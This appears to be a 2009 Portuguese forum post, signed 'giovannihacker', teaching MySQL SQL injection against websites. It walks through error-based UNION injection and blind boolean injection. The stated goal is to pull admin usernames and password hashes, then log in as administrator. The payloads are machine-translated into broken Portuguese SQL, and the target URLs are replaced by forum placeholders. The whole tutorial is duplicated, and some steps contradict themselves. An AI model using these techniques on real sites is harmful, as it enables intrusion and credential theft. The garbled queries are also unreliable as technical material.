SQL Injection Tutorial (MySQL)
************************************************** *******
Neste tutorial eu vou descrever como funciona a injeção de SQL e como
usá-lo para obter algumas informações úteis.
Primeiro de tudo: O que é SQL injection?
É uma das vulnerabilidades mais comuns em aplicações web atualmente.
Ele permite a um atacante executar consulta no banco de dados de URL e aceder
a algumas informações confidenciais, etc .. (em breve).
1. SQL Injection (clássico ou erro de base ou o que você chamá-lo): D
2. Blind SQL Injection (a parte mais difícil)
Então, vamos começar com algumas medidas: D
************************************************** *******
1). Verifique se há vulnerabilidade
Vamos dizer que temos algum site como este
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
Agora, para testar se é vulrnable somarmos ao final da URL '(aspas), e que seria
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... '
Então, se nós temos algum erro como
"Você tem um erro em sua sintaxe SQL; verifique o manual que corresponde ao seu servidor MySQL versão para o direito, etc .." ou algo semelhante que significa é vulrnable de injeção SQL
2). Encontre o número de colunas
Para encontrar o número de colunas que usamos declaração ORDER BY (diz a base de dados como fim o resultado)
assim como usá-lo? Bem apenas incrementar o número até chegarmos um erro.
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... ordem de 1 / * <- erro não
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... fim por 2 / * <- erro não
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... ordenar por 3 / * <- o erro não
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... ordenar por 4 / * <- erro
obtemos mensagem como esta Unknown column '4 'in' cláusula de ordem "ou algo assim, isso significa que o que tem 3 colunas, porque temos um erro em 4.
3). Verifique se a função UNIÃO
Com união podemos selecionar mais dados em uma instrução SQL. por isso temos
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... união todas selecionar 1,2,3 / *
(já constatou que o número de colunas são 3 na seção 2)
Se formos ver alguns números na tela, ou seja, 1 ou 2 ou 3, a União funciona
4). Verifique se o MySQL versão
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... união todas selecionar 1,2,3 / *
NOTA: se o / * não trabalhar ou você receber algum erro, então tente --
é um comentário e é importante para a nossa consulta para funcionar corretamente.
vamos dizer que temos o número 2 na tela, agora para verificar a versão
podemos substituir o número 2 com o @ @ version ou versão () e obter como someting 4.1.33-log ou 5.0.45 ou similares. Deve olhar como este
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... união todas selecionar 1, @ @ version, 3 / *
Se você receber um erro "união + mistura ilegal de agrupamentos (implícito + coercible) ..."
Eu não vi nenhum papel que cobre este problema, então eu devo escrever
O que precisamos é função convert ()
ou seja,
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... união todas selecionar 1, convert (@ @ versão usando latin1), 3 / *
ou com hex () e unhex ()
ou seja,
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... união todas selecionar 1, unhex (hex (@ @ version)), 3 / *
e você receberá a versão do MySQL: D
5a). Obtendo nome da tabela e coluna para a versão do MySQL é <5 (ou seja, 4.1.33, 4.1.12 ...)
Para isso, temos de adivinhar tabela e coluna nome na maioria dos casos.
tabela nomes comuns são: user / s, admin / s, membro / s ...
coluna nomes comuns são: nome de usuário, usuário, usr, nome_usuario, senha, pass, passwd, pwd, etc ..
I.E seria
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... união todas selecionar 1,2,3 from admin / *
(nós, ver o número 2 na tela como antes, e isso é bom: D)
Se sabemos que admin tabela existe ...
Agora, para buscar nomes de coluna.
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... união todas selecionar 1, username, 3 from admin / *
(se você receber um erro, então tente o nome da coluna Outro)
obtemos nome de usuário exibido na tela, exemplo seria o admin, ou superadmin etc ..
Agora, para verificar se a senha coluna existe
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... união todas selecionar 1, senha, 3 from admin / *
(se você receber um erro, então tente o nome da coluna Outro)
vimos senha na tela de hash ou texto simples, depende de como o banco de dados está configurado
hash MD5 ou seja, hash mysql, sha1 ... agora temos que completar consulta para uma boa aparência para que possamos utilizar a função () concat (junta-se cordas)
I.E
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... união todas selecionar 1, concat (username, 0x3a, password), 3 from admin / *
Note que eu coloquei 0x3a, o seu valor hexadecimal para: (so 0x3a é o valor hexadecimal de dois pontos)
(não há outro caminho para que, char (58), o valor ASCII para
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... união todas selecionar 1, concat (username, char (58), password), 3 from admin / *
Agora nós começamos dislayed usuário: admin senha na tela, ou seja: admin ou admin: somehash. Quando você tem isso, você pode fazer login como administrador ou algum superusuário: D. se não pode adivinhar o nome da tabela à direita, você pode sempre tentar mysql.user (padrão). tem colunas i senha de usuário, de modo exemplo seria
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... união todas selecionar 1, concat (usuário, 0x3a, password), 3 de mysql.user / *
************************************************** *******
5b). Obtendo nome da tabela e coluna para a versão do MySQL é> 5
Para isso precisamos information_schema. Ele contém todas as tabelas e colunas no banco de dados. Para obter as tabelas que usamos table_name e information_schema.tables.
I.E
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... união todas selecionar 1, table_name, 3 de information_schema.tables / *
aqui vamos substituir o número 2 com o nosso nome_tabela para obter a primeira tabela de information_schema.tables exibido na tela. Agora devemos adicionar LIMIT ao final da consulta à lista de todas as tabelas.
I.E
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... união limitam selecionar 1, table_name, 3 de information_schema.tables 0,1 / *
note que eu coloquei 0,1 (obter 1 resultado a partir do 0). Agora, para visualizar a tabela segundo, mudamos limite de 0,1 para limitar 1,1
I.E
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... união limitam selecionar 1, table_name, 3 de information_schema.tables 1,1 / *
a segunda tabela é exibida. para a terceira tabela que colocamos limite de 2,1
I.E
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... união limitam selecionar 1, table_name, 3 de information_schema.tables 2,1 / *
manter incrementando até chegar algumas úteis como db_admin, poll_user, auth_user auth, etc .. : D
Para obter os nomes de coluna que o método é o mesmo.
Aqui usamos column_name e INFORMATION_SCHEMA.COLUMNS
o método é o mesmo do exemplo acima seria assim
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... união limitam selecionar 1, column_name, 3 de INFORMATION_SCHEMA.COLUMNS 0,1 / *
primeira coluna é diplayed. o segundo (que alterar o limite de 0,1 para limitar a 1,1)
ou seja,
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... união limitam selecionar 1, column_name, 3 de INFORMATION_SCHEMA.COLUMNS 1,1 / *
a segunda coluna é apresentado, de modo a manter o incremento até obter algo como
Nome de usuário, usuário, login, senha, pass, passwd, etc .. : D
Se você quiser exibir nomes de coluna de tabela específica para usar essa consulta. (where)
Digamos que nós encontramos os usuários da tabela.
I.E
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... união todas selecionar 1, column_name, 3 de INFORMATION_SCHEMA.COLUMNS onde table_name = 'users' / *
Agora, temos apresentado o nome da coluna em usuários da tabela. Basta usar LIMIT, podemos listar todas as colunas na tabela de usuários. Note que isto não vai funcionar se as aspas magia está ON. Digamos que nós encontramos colums usuário, passar e-mail.
Agora, para completar consulta para colocá-los todos juntos: D, para isso, use o CONCAT (), i descrevê-lo mais cedo.
I.E
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... união todas selecionar 1, concat (usuário, 0x3a, pass, 0x3a, e-mail) de usuários / *
O que temos aqui é user: pass: e-mail dos usuários da tabela.
exemplo: admin: hash: whatever@blabla.com
Isso é tudo nessa parte, agora podemos continuar a parte mais difícil, Blind SQL Injection
Gravitação não é responsável pelas pessoas Falling em nossos pés, nossas ações Made a fazê-lo!
Visit Me No Orkut
Posted Image
* Relatório ícone do relatório
* Voltar ao topo
* Imagens Responder MultiQuote
* Responder ícone Responder
0
* +
* --
# 2 offline User Black Soul Icon
* Adicionar como amigo
* Enviar uma mensagem
*
* Global Moderator
* PipPipPipPipPipPip
Grupo: Global Moderators
* Posts: 2.206
* Joined: 31-July 08
Posted 24 Outubro 2009 - 06h46
2. Blind SQL Injection
Blind injeção é um pouco mais complicada a injeção clássico, mas isso pode ser feito: D Vamos começar com coisas avançadas.
Eu vou estar usando o nosso exemplo
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
Quando nós executamos isso, vamos ver algumas páginas e artigos sobre essa página, fotos etc .. então quando queremos testá-lo para o ataque de injeção SQL cego
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e 1 = 1 <--- isso é sempre verdade
e carrega a página normalmente, that's ok. Agora, o verdadeiro teste
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e 1 = 2 <--- isso é falso
Então, se algum texto, imagem ou parte do conteúdo está em falta na página retornada então que o site está vulrnable a injeção de SQL cego.
1) Obter a versão do MySQL
para obter a versão em ataque cego usamos substring
I.E
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e substring (@ @ versão, 1,1) = 4
Isso deve retornar TRUE se a versão do MySQL é 4.
substituir 5 a 4, e se consulta retornar TRUE, então a versão é 5.
I.E
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e substring (@ @ versão, 1,1) = 5
Teste 2) se trabalha subselect
quando selecionar não funcionam, então usamos subselect
I.E
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e (selecione 1) = 1
Se a página carrega normalmente depois subselects trabalho. Então vamos ver se temos acesso a mysql.user
I.E
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e (select 1 from limite mysql.user 0,1) = 1
Se a página é carregada normalmente temos acesso a mysql.user e depois podemos puxar alguns load_file senha usign () e OUTFILE.
3). Verifique os nomes da tabela e da coluna
Esta é a parte adivinhar quando é o melhor amigo
ou seja,
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e (escolher 1 de usuários limite de 0,1) = 1
(com limite de 0,1 nossa consulta aqui retorna 1 linha de dados, subselecione causar retorna apenas 1 linha, isto é muito importante.)
então se a página é carregada normalmente, sem conteúdo ausente, os usuários as saídas de mesa.
Se você começar FALSO (artigo faltando alguns), basta alterar o nome da tabela até que você adivinhar o caminho certo
Digamos que descobrimos que o nome da tabela são os usuários, agora o que nós precisamos é nome da coluna. o mesmo nome da tabela, podemos começar a adivinhar. Como eu disse antes de tentar o nome comum para as colunas.
I.E
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e (SELECT substring (concat (1, password), 1,1) de usuários limite de 0,1) = 1
Se a página é carregada normalmente, nós sabemos que o nome da coluna é a senha (se conseguirmos falso tente nomes comuns ou apenas acho) aqui nós mesclar 1 com a senha de coluna, substring retorna o primeiro caractere (, 1,1)
4). Puxar dados do banco de dados
Encontrámos colunas da tabela usuários i senha de usuário assim que nós vamos puxar personagens do que isso.
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e ascii (substring (concat (SELECT (username, 0x3a, password) de usuários do limite de 0,1), 1,1))> 80
ok isso aqui puxa o primeiro caractere do primeiro usuário na tabela usuários. substring aqui primeiro caractere e retorna 1 caractere de comprimento. ASCII () converte o valor de 1 personagem em ascii e em seguida, compará-lo com maior simbol depois>
Então, se o char ascii maior de 80, a página é carregada normalmente. (TRUE)
continuamos tentando até chegarmos falso.
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e ascii (substring (concat (SELECT (username, 0x3a, password) de usuários do limite de 0,1), 1,1))> 95
obtemos TRUE, manter incrementando
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e ascii (substring (concat (SELECT (username, 0x3a, password) de usuários do limite de 0,1), 1,1))> 98
TRUE novamente, superior
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e ascii (substring (concat (SELECT (username, 0x3a, password) de usuários do limite de 0,1), 1,1))> 99
FALSO!
de modo que o primeiro caractere no nome de usuário é char (99). Usando o conversor de ASCII, sabemos que char (99) é a letra 'C'. então vamos buscar o segundo personagem.
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e ascii (substring (concat (SELECT (username, 0x3a, password) de usuários do limite de 0,1), 2,1))> 99
Note que estou mudada, para 1,1, 2,1 para obter o segundo personagem. (agora ele retorna o segundo personagem, 1 personagem de comprimento)
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e ascii (substring (concat (SELECT (username, 0x3a, password) de usuários do limite de 0,1), 1,1))> 99
TRUE, a página é carregada normalmente, mais elevados.
e Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... ascii (substring (concat (SELECT (username, 0x3a, password) de usuários do limite de 0,1), 1,1))> 107
Número, FALSE inferiores.
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e ASCII (substring (concat (SELECT (username, 0x3a, password) de usuários do limite de 0,1), 1,1))> 104
TRUE, mais elevados.
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e ascii (substring (concat (SELECT (username, 0x3a, password) de usuários do limite de 0,1), 1,1))> 105
FALSO!
Sabemos que o segundo personagem é char (105) e que é «i». Temos 'ci' até agora, de modo a manter incrementar até chegar ao fim. (quando> 0 retorna false nós sabemos que chegar ao final). Existem algumas ferramentas para Blind SQL Injection, eu acho sqlmap é o melhor, mas estou fazendo tudo manualmente, a causa que te faz melhor INJECTOR SQL: D
Espero que você tenha aprendido alguma coisa by giovannihacker.
************************************************** *******
Neste tutorial eu vou descrever como funciona a injeção de SQL e como
usá-lo para obter algumas informações úteis.
Primeiro de tudo: O que é SQL injection?
É uma das vulnerabilidades mais comuns em aplicações web atualmente.
Ele permite a um atacante executar consulta no banco de dados de URL e aceder
a algumas informações confidenciais, etc .. (em breve).
1. SQL Injection (clássico ou erro de base ou o que você chamá-lo): D
2. Blind SQL Injection (a parte mais difícil)
Então, vamos começar com algumas medidas: D
************************************************** *******
1). Verifique se há vulnerabilidade
Vamos dizer que temos algum site como este
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
Agora, para testar se é vulrnable somarmos ao final da URL '(aspas), e que seria
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... '
Então, se nós temos algum erro como
"Você tem um erro em sua sintaxe SQL; verifique o manual que corresponde ao seu servidor MySQL versão para o direito, etc .." ou algo semelhante que significa é vulrnable de injeção SQL
2). Encontre o número de colunas
Para encontrar o número de colunas que usamos declaração ORDER BY (diz a base de dados como fim o resultado)
assim como usá-lo? Bem apenas incrementar o número até chegarmos um erro.
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... ordem de 1 / * <- erro não
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... fim por 2 / * <- erro não
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... ordenar por 3 / * <- o erro não
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... ordenar por 4 / * <- erro
obtemos mensagem como esta Unknown column '4 'in' cláusula de ordem "ou algo assim, isso significa que o que tem 3 colunas, porque temos um erro em 4.
3). Verifique se a função UNIÃO
Com união podemos selecionar mais dados em uma instrução SQL. por isso temos
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... união todas selecionar 1,2,3 / *
(já constatou que o número de colunas são 3 na seção 2)
Se formos ver alguns números na tela, ou seja, 1 ou 2 ou 3, a União funciona
4). Verifique se o MySQL versão
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... união todas selecionar 1,2,3 / *
NOTA: se o / * não trabalhar ou você receber algum erro, então tente --
é um comentário e é importante para a nossa consulta para funcionar corretamente.
vamos dizer que temos o número 2 na tela, agora para verificar a versão
podemos substituir o número 2 com o @ @ version ou versão () e obter como someting 4.1.33-log ou 5.0.45 ou similares. Deve olhar como este
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... união todas selecionar 1, @ @ version, 3 / *
Se você receber um erro "união + mistura ilegal de agrupamentos (implícito + coercible) ..."
Eu não vi nenhum papel que cobre este problema, então eu devo escrever
O que precisamos é função convert ()
ou seja,
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... união todas selecionar 1, convert (@ @ versão usando latin1), 3 / *
ou com hex () e unhex ()
ou seja,
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... união todas selecionar 1, unhex (hex (@ @ version)), 3 / *
e você receberá a versão do MySQL: D
5a). Obtendo nome da tabela e coluna para a versão do MySQL é <5 (ou seja, 4.1.33, 4.1.12 ...)
Para isso, temos de adivinhar tabela e coluna nome na maioria dos casos.
tabela nomes comuns são: user / s, admin / s, membro / s ...
coluna nomes comuns são: nome de usuário, usuário, usr, nome_usuario, senha, pass, passwd, pwd, etc ..
I.E seria
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... união todas selecionar 1,2,3 from admin / *
(nós, ver o número 2 na tela como antes, e isso é bom: D)
Se sabemos que admin tabela existe ...
Agora, para buscar nomes de coluna.
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... união todas selecionar 1, username, 3 from admin / *
(se você receber um erro, então tente o nome da coluna Outro)
obtemos nome de usuário exibido na tela, exemplo seria o admin, ou superadmin etc ..
Agora, para verificar se a senha coluna existe
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... união todas selecionar 1, senha, 3 from admin / *
(se você receber um erro, então tente o nome da coluna Outro)
vimos senha na tela de hash ou texto simples, depende de como o banco de dados está configurado
hash MD5 ou seja, hash mysql, sha1 ... agora temos que completar consulta para uma boa aparência para que possamos utilizar a função () concat (junta-se cordas)
I.E
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... união todas selecionar 1, concat (username, 0x3a, password), 3 from admin / *
Note que eu coloquei 0x3a, o seu valor hexadecimal para: (so 0x3a é o valor hexadecimal de dois pontos)
(não há outro caminho para que, char (58), o valor ASCII para
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... união todas selecionar 1, concat (username, char (58), password), 3 from admin / *
Agora nós começamos dislayed usuário: admin senha na tela, ou seja: admin ou admin: somehash. Quando você tem isso, você pode fazer login como administrador ou algum superusuário: D. se não pode adivinhar o nome da tabela à direita, você pode sempre tentar mysql.user (padrão). tem colunas i senha de usuário, de modo exemplo seria
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... união todas selecionar 1, concat (usuário, 0x3a, password), 3 de mysql.user / *
************************************************** *******
5b). Obtendo nome da tabela e coluna para a versão do MySQL é> 5
Para isso precisamos information_schema. Ele contém todas as tabelas e colunas no banco de dados. Para obter as tabelas que usamos table_name e information_schema.tables.
I.E
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... união todas selecionar 1, table_name, 3 de information_schema.tables / *
aqui vamos substituir o número 2 com o nosso nome_tabela para obter a primeira tabela de information_schema.tables exibido na tela. Agora devemos adicionar LIMIT ao final da consulta à lista de todas as tabelas.
I.E
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... união limitam selecionar 1, table_name, 3 de information_schema.tables 0,1 / *
note que eu coloquei 0,1 (obter 1 resultado a partir do 0). Agora, para visualizar a tabela segundo, mudamos limite de 0,1 para limitar 1,1
I.E
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... união limitam selecionar 1, table_name, 3 de information_schema.tables 1,1 / *
a segunda tabela é exibida. para a terceira tabela que colocamos limite de 2,1
I.E
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... união limitam selecionar 1, table_name, 3 de information_schema.tables 2,1 / *
manter incrementando até chegar algumas úteis como db_admin, poll_user, auth_user auth, etc .. : D
Para obter os nomes de coluna que o método é o mesmo.
Aqui usamos column_name e INFORMATION_SCHEMA.COLUMNS
o método é o mesmo do exemplo acima seria assim
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... união limitam selecionar 1, column_name, 3 de INFORMATION_SCHEMA.COLUMNS 0,1 / *
primeira coluna é diplayed. o segundo (que alterar o limite de 0,1 para limitar a 1,1)
ou seja,
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... união limitam selecionar 1, column_name, 3 de INFORMATION_SCHEMA.COLUMNS 1,1 / *
a segunda coluna é apresentado, de modo a manter o incremento até obter algo como
Nome de usuário, usuário, login, senha, pass, passwd, etc .. : D
Se você quiser exibir nomes de coluna de tabela específica para usar essa consulta. (where)
Digamos que nós encontramos os usuários da tabela.
I.E
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... união todas selecionar 1, column_name, 3 de INFORMATION_SCHEMA.COLUMNS onde table_name = 'users' / *
Agora, temos apresentado o nome da coluna em usuários da tabela. Basta usar LIMIT, podemos listar todas as colunas na tabela de usuários. Note que isto não vai funcionar se as aspas magia está ON. Digamos que nós encontramos colums usuário, passar e-mail.
Agora, para completar consulta para colocá-los todos juntos: D, para isso, use o CONCAT (), i descrevê-lo mais cedo.
I.E
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... união todas selecionar 1, concat (usuário, 0x3a, pass, 0x3a, e-mail) de usuários / *
O que temos aqui é user: pass: e-mail dos usuários da tabela.
exemplo: admin: hash: whatever@blabla.com
Isso é tudo nessa parte, agora podemos continuar a parte mais difícil, Blind SQL Injection
Gravitação não é responsável pelas pessoas Falling em nossos pés, nossas ações Made a fazê-lo!
Visit Me No Orkut
Posted Image
* Relatório ícone do relatório
* Voltar ao topo
* Imagens Responder MultiQuote
* Responder ícone Responder
0
* +
* --
# 2 offline User Black Soul Icon
* Adicionar como amigo
* Enviar uma mensagem
*
* Global Moderator
* PipPipPipPipPipPip
Grupo: Global Moderators
* Posts: 2.206
* Joined: 31-July 08
Posted 24 Outubro 2009 - 06h46
2. Blind SQL Injection
Blind injeção é um pouco mais complicada a injeção clássico, mas isso pode ser feito: D Vamos começar com coisas avançadas.
Eu vou estar usando o nosso exemplo
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
Quando nós executamos isso, vamos ver algumas páginas e artigos sobre essa página, fotos etc .. então quando queremos testá-lo para o ataque de injeção SQL cego
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e 1 = 1 <--- isso é sempre verdade
e carrega a página normalmente, that's ok. Agora, o verdadeiro teste
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e 1 = 2 <--- isso é falso
Então, se algum texto, imagem ou parte do conteúdo está em falta na página retornada então que o site está vulrnable a injeção de SQL cego.
1) Obter a versão do MySQL
para obter a versão em ataque cego usamos substring
I.E
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e substring (@ @ versão, 1,1) = 4
Isso deve retornar TRUE se a versão do MySQL é 4.
substituir 5 a 4, e se consulta retornar TRUE, então a versão é 5.
I.E
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e substring (@ @ versão, 1,1) = 5
Teste 2) se trabalha subselect
quando selecionar não funcionam, então usamos subselect
I.E
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e (selecione 1) = 1
Se a página carrega normalmente depois subselects trabalho. Então vamos ver se temos acesso a mysql.user
I.E
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e (select 1 from limite mysql.user 0,1) = 1
Se a página é carregada normalmente temos acesso a mysql.user e depois podemos puxar alguns load_file senha usign () e OUTFILE.
3). Verifique os nomes da tabela e da coluna
Esta é a parte adivinhar quando é o melhor amigo
ou seja,
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e (escolher 1 de usuários limite de 0,1) = 1
(com limite de 0,1 nossa consulta aqui retorna 1 linha de dados, subselecione causar retorna apenas 1 linha, isto é muito importante.)
então se a página é carregada normalmente, sem conteúdo ausente, os usuários as saídas de mesa.
Se você começar FALSO (artigo faltando alguns), basta alterar o nome da tabela até que você adivinhar o caminho certo
Digamos que descobrimos que o nome da tabela são os usuários, agora o que nós precisamos é nome da coluna. o mesmo nome da tabela, podemos começar a adivinhar. Como eu disse antes de tentar o nome comum para as colunas.
I.E
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e (SELECT substring (concat (1, password), 1,1) de usuários limite de 0,1) = 1
Se a página é carregada normalmente, nós sabemos que o nome da coluna é a senha (se conseguirmos falso tente nomes comuns ou apenas acho) aqui nós mesclar 1 com a senha de coluna, substring retorna o primeiro caractere (, 1,1)
4). Puxar dados do banco de dados
Encontrámos colunas da tabela usuários i senha de usuário assim que nós vamos puxar personagens do que isso.
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e ascii (substring (concat (SELECT (username, 0x3a, password) de usuários do limite de 0,1), 1,1))> 80
ok isso aqui puxa o primeiro caractere do primeiro usuário na tabela usuários. substring aqui primeiro caractere e retorna 1 caractere de comprimento. ASCII () converte o valor de 1 personagem em ascii e em seguida, compará-lo com maior simbol depois>
Então, se o char ascii maior de 80, a página é carregada normalmente. (TRUE)
continuamos tentando até chegarmos falso.
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e ascii (substring (concat (SELECT (username, 0x3a, password) de usuários do limite de 0,1), 1,1))> 95
obtemos TRUE, manter incrementando
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e ascii (substring (concat (SELECT (username, 0x3a, password) de usuários do limite de 0,1), 1,1))> 98
TRUE novamente, superior
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e ascii (substring (concat (SELECT (username, 0x3a, password) de usuários do limite de 0,1), 1,1))> 99
FALSO!
de modo que o primeiro caractere no nome de usuário é char (99). Usando o conversor de ASCII, sabemos que char (99) é a letra 'C'. então vamos buscar o segundo personagem.
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e ascii (substring (concat (SELECT (username, 0x3a, password) de usuários do limite de 0,1), 2,1))> 99
Note que estou mudada, para 1,1, 2,1 para obter o segundo personagem. (agora ele retorna o segundo personagem, 1 personagem de comprimento)
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e ascii (substring (concat (SELECT (username, 0x3a, password) de usuários do limite de 0,1), 1,1))> 99
TRUE, a página é carregada normalmente, mais elevados.
e Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... ascii (substring (concat (SELECT (username, 0x3a, password) de usuários do limite de 0,1), 1,1))> 107
Número, FALSE inferiores.
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e ASCII (substring (concat (SELECT (username, 0x3a, password) de usuários do limite de 0,1), 1,1))> 104
TRUE, mais elevados.
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e ascii (substring (concat (SELECT (username, 0x3a, password) de usuários do limite de 0,1), 1,1))> 105
FALSO!
Sabemos que o segundo personagem é char (105) e que é «i». Temos 'ci' até agora, de modo a manter incrementar até chegar ao fim. (quando> 0 retorna false nós sabemos que chegar ao final). Existem algumas ferramentas para Blind SQL Injection, eu acho sqlmap é o melhor, mas estou fazendo tudo manualmente, a causa que te faz melhor INJECTOR SQL: D
Espero que você tenha aprendido alguma coisa by giovannihacker.
Comment